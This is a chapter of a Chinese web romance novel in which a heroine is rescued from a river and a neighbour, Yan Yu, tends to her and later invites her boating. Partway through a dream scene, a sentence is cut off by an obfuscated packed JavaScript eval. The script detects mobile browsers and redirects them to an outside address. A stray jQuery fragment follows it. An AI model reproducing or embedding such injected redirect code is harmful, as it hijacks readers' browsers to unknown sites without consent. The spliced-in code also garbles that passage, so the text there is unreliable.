145. 柿子

作品:《夫君排队进火葬场了吗

    “小姐!这里风大,咱们还是回去吧!”


    萧令仪在码头不知站了多久,有那来往的行人,向她主仆二人投来奇怪的目光,连船老大也问了几回“到底走不走”。


    深秋的码头,风沁寒入骨,萧令仪穿得不厚,她不住地轻咳,望着宽阔的河面,一言不发。


    “小姐,您要想坐船,不如咱们去锦绣街,那边临着河,还有画舫呢!”紫苏又劝道。


    “坐船?坐船去哪呢?这世上已经没有我要坐船去见的人了。”萧令仪喃喃道。


    紫苏皱眉不解。


    “走吧。”


    紫苏松了口气,才转过身,便听“噗通”一声。


    “小姐!”


    码头上还有不少人,紫苏不会水,急得团团转,“救人啊!”


    “噗通!”又一个身影下了水。


    萧令仪被救上来,吐出来几口水,紫苏忙上去扶抱她,对救人的道:“多谢义士!改日重金相谢!”


    他却抱着萧令仪不放,紫苏警惕地看着他,章珩连忙道明自己的身份,并将已经昏过去的萧令仪打横抱起。


    “她衣裳浸了水,你未必能抱得动她,况且我还有马车,也便宜些,免得路上吹病了。”章珩边走边道。


    紫苏将信将疑,紧紧跟在一旁。


    严瑜在码头找了许久,面馆茶寮里也看过了,仍是未找到萧令仪。


    许是他来的晚了,她已经回了?


    不若先回家,兴许她已经到家了。


    严瑜转身,便见一男子,深秋的天里浑身滴着水,他怀中抱着一人,也湿漉漉的,像是晕了过去。


    直到严瑜看见一旁的紫苏,他全身僵住,又看向男子怀中抱着的那人,她的帏帽已经掉了,比起几月前,她的头发已经有一寸长了,此刻湿黏在额角,露出的半张小脸苍白又脆弱。


    严瑜提着花篮,呆呆地看着她被抱着,从他身边经过,然后上了马车,往京城驶去。


    *


    萧令仪虽呛了几口水,但不是因为呛水晕过去的,而是本来就未痊愈,又在码头吹了许久的风,生病发热了。


    章珩的马车一回城,便带她们去了医馆,大夫把脉开方后,紫苏说了住址,章珩却未理会,而是将她们带去一处宅子。


    “你放心,这是我为了上值时便利买的宅子,平日不大在这里住,你们安心住着便是。”他从橱柜中拿出一套男子衣衫,“先将就换下,明日我让人送女子的衣裳来。”


    紫苏看着这屋子,一应陈设都是男子的喜好,她一边替小姐用温水擦拭额头,一边道:“这不是客房吧?章大人,还是请你将我们送回去吧,在这里终究不便。”


    章珩原本和缓的脸色,变得有些冷,“你能替你小姐做主么?!”


    紫苏也不高兴了,若非他,小姐怎么会将头发剪得零碎出家去?今日若是小姐没昏过去,也是不愿来这的,“今日多谢章大人了,等我们小姐醒了就走!”


    章珩被一个丫鬟呛声,极为不悦,他面色难看起来,“你......”


    “小姐!你醒了?!”紫苏趴在床前。


    “这是哪?”萧令仪沙哑着声,半睁着眼问。


    紫苏往后瞥一眼,对萧令仪道:“这是章大人家......的别院。”


    萧令仪目光越过紫苏,看见了同样凑至床边的章珩。


    “我,是章珩。”他脸上有些不自在,“先前与你......定亲的那个。”


    萧令仪当然认得他,她对他无恨亦无爱,只想远离他们一家子,此时她无悲无喜地道:“多谢。”


    “走。”她挣扎起身下床,紫苏连忙扶抱着她。


    “今日已经病得这样重了,不如先歇下,明日再回去也是一样。”他追在她身边道。


    她们两个女子,在男子家过一夜,会是什么后果难道他不知晓么?萧令仪的确病得不轻,现下还在高热,头重脚轻,人也有些不清醒,厌恶极了他的纠缠,便难免带了些怒气,“滚开!”


    章珩不解,退婚不是章家先提的,他闹也没有闹到她跟前,难道,她是知道了阿月的事?


    萧令仪主仆俩已经走到了影壁,章珩见她二人都是弱不禁风的模样,又道:“你先等等,坐马车走。”


    萧令仪走地愈发快了,但她病着,虽然有紫苏扶着,仍是差点被大门的门槛绊倒,章珩立时伸手去扶她。


    萧令仪碰着了脚,一时疼痛袭来,她掀开他:“别碰我!”


    许是动作太大,又在病中,一时没站稳,紫苏也没能扶住,章珩忙伸手,却有一人比他更快地接住萧令仪。


    萧令仪闻到熟悉的气息,抬眼一看,泪瞬间便落了下来,她烧得糊涂,已分不清从前现在,“严瑜......”


    见她泣下如雨,他胸口瞬时便漫上绵密的疼来。


    朝章珩点点头,严瑜一把将她打横抱起,这回萧令仪倒是不挣扎了,她揪着他衣襟,将脸埋进去,哭得抽噎。


    显然二人关系匪浅。


    章珩木然地看着他们走远。


    严瑜就近找了个车行,赁了辆马车回去。


    即便在马车上,萧令仪也始终揪着他不放,他便一直抱着她。


    紫苏在一旁有些纠结,不知该不该让他放开,可小姐又埋在人家怀里不出来,还有,这位邻居怎么知晓她们在章公子的宅子里的?难不成一直跟着她们?紫苏觉得有点可怖了,要不然还是搬家吧,虽然碧云寺还未建好,但是这位邻居瞧着别有用心啊!


    萧令仪本就糊涂着,哭着哭着,就在严瑜怀里昏睡过去了。


    严瑜将她抱下马车,又抱至她闺房之中,小心将她放下,却发现她仍揪着他衣襟。他轻轻握住她的手,想要将布料扯出来,但她抓得太紧,严瑜不得不用些力,于是,便将她弄醒了。


    她半睁着眼,看见近在咫尺的严瑜,又红了眼,泪从眼角沁出来,“严瑜......我恨你。”


    严瑜未想到,她第一次对他说话,便是这样一句。


    喉间似是被什么堵住一般,鼻腔中也酸涩异常,他喉结上下一动,“......为什么?”


    萧令仪放开他,“我恨你。”


    严瑜慢慢站起身,对紫苏道:“你照看好她,有什么事,便去隔壁寻我。”


    紫苏点点头,“多谢严公子!”赶紧走吧!


    他往外走,却因方才那句她恨他心神不稳,不小心碰落了一本书,严瑜快速将书拾起,却从里头翩跹飞出一张画来。


    画中是一对男女,却没有脸,他们相拥着,背后是一片河灯。


    不知为何,见到这幅画的一刹那,方才鼻腔中的酸涩,瞬间便涌上来,几乎要忍不住落泪。


    他将画放回书页中,回头,见萧令仪又昏睡了过去,紫苏忙着照看她。


    他快步走出去。


    严瑜坐在桌前,桌上放了个花篮,上头的花已经开始打蔫,两个饱满的小柿子,不知何时像是被人捏了一般,破了些皮,柿子汁水漏了出来。


    他没有看花,也没有看柿子,只是空对着它们发呆。


    良久,严瑜轻叹了一声,灭了油灯,上床歇息了。


    “往左一些。”她坐在严瑜肩头,指挥着他。


    严瑜依言往左,她伸手摘了两个柿子,“好了。”


    严瑜将她放下,她将两个柿子递给他。


    他接过一个,小心撕开皮,不让汁水溢出,又递回给她。


    她将另一个递给他,“你也吃!柿柿如意!”


    两人吃得手上沾了汁水


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363952|190868||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,又在溪边洗净。


    还未待擦干手,“谁在偷我柿子!”有人往这边追了过来。


    二人面面相觑,“跑!”


    严瑜握着她的手,跑了许久。


    跑至一片花海,她瘫坐在花上,两人胸腔如雷,却相对笑出声来。


    未笑多久,两人的唇便贴在一处。


    ......


    严瑜又悄悄去院中搓裤子了,将之挂好,他听了听隔壁的声,十分安静,想是睡下了。


    他回到屋中,却无睡意,或者说有些气恼,她都病成那般了,他竟还做这样的梦!


    实在有些龌龊不堪。


    严瑜将油灯点上,拿出近来买的心经,铺开纸,一个字一个字抄了起来。


    张武跟着紫苏学下厨,如今也颇有进益,严瑜让他炖了鸡汤送至隔壁。


    应当能食荤的吧......他见她已不穿僧衣,头发也变长了,上回还送了馕馅鸭过来。


    晚间,严瑜从衙署回来,第一件事便是问张武:“她收下了么?”


    张武点点头,“紫苏姐姐也忙着照看她家小姐呢!幸好咱们能送饭食过去!”


    “那你便接着送,银钱不够来问便是。”


    “好嘞!”


    萧令仪没两日身子便好了,但人仍是郁郁寡欢,严瑜自然也从张武口中得知这些。


    “女子怎样会高兴些?”严瑜在衙署有名随身差遣的皂吏,人很是活泛,此刻皂吏想了想,又嘿嘿笑道,“大人,我一个光棍,哪里懂女子的事,不过我老娘能吃喝玩乐她便高兴,想来人都是一样的!”


    严瑜点点头,他想了想,“上回你说有几位要润笔的......”


    “有有有!这几日又来了不少人问呢!”探花郎长的好看,好像模样俊俏文采就好似的,那些人不去找状元郎,反倒来找探花郎,一时间严瑜这探花郎文名在外,他字又写得好,不少人来找他润笔。


    当然,大多是些商贾,他们银钱丰厚,又难以接触高门大家,这探花郎严瑜就刚刚好。活着要寿辞,死了要墓志,很是舍得银子。


    严瑜有了不少银子,他听说锦绣街有许多女子爱逛的铺子,便在锦绣街挑了许久,在一家首饰铺子里,一眼便看中了一只璎珞。


    那璎珞圈制成双鱼衔莲的模样,鱼身以宝石镶嵌,莲花和底下的月牙儿坠子则是玉石雕成,晶莹剔透。


    她肤白细腻,戴上定是好看。


    严瑜耳尖微红,连价也未讲便付了银子。剩下的银子也不够再买什么了,他便挑了些尝着不错的点心,带着这些,敲响了隔壁的院门。


    “我......能见见你家小姐么?”严瑜对开门的紫苏道。


    “等着。”紫苏转身回屋,也未关院门,严瑜便在院门口站着。


    没一会儿,紫苏便走了出来,“我们小姐不想见你。”


    严瑜面色失落,他微微笑道:“那劳烦将这些给你们小姐吧。”


    这不是私相授受么,紫苏可不敢接,她又要转身往里头去请示萧令仪。


    “什么事?”萧令仪自己走了出来。


    严瑜望着她,她戴着一顶卧兔儿,显得精致俏皮,却又神色悒悒。


    他张了张口,“我来是想问,不知你可愿和我一道游湖?”


    萧令仪踱步至他跟前,冷声道:“我为何要与你一道游湖?”


    严瑜顿时面色通红,有被拒绝的窘迫尴尬,还有一丝羞愧,他邀人游湖,孤男寡女,心思昭然若揭,的确不合礼数,十分唐突。


    “严某惭愧!”他待不下去了,慌张道,“这些,便做某唐突的赔礼!”


    严瑜放下便走。


    “在哪?”


    嗯?严瑜一愣。


    “我说在哪游湖。”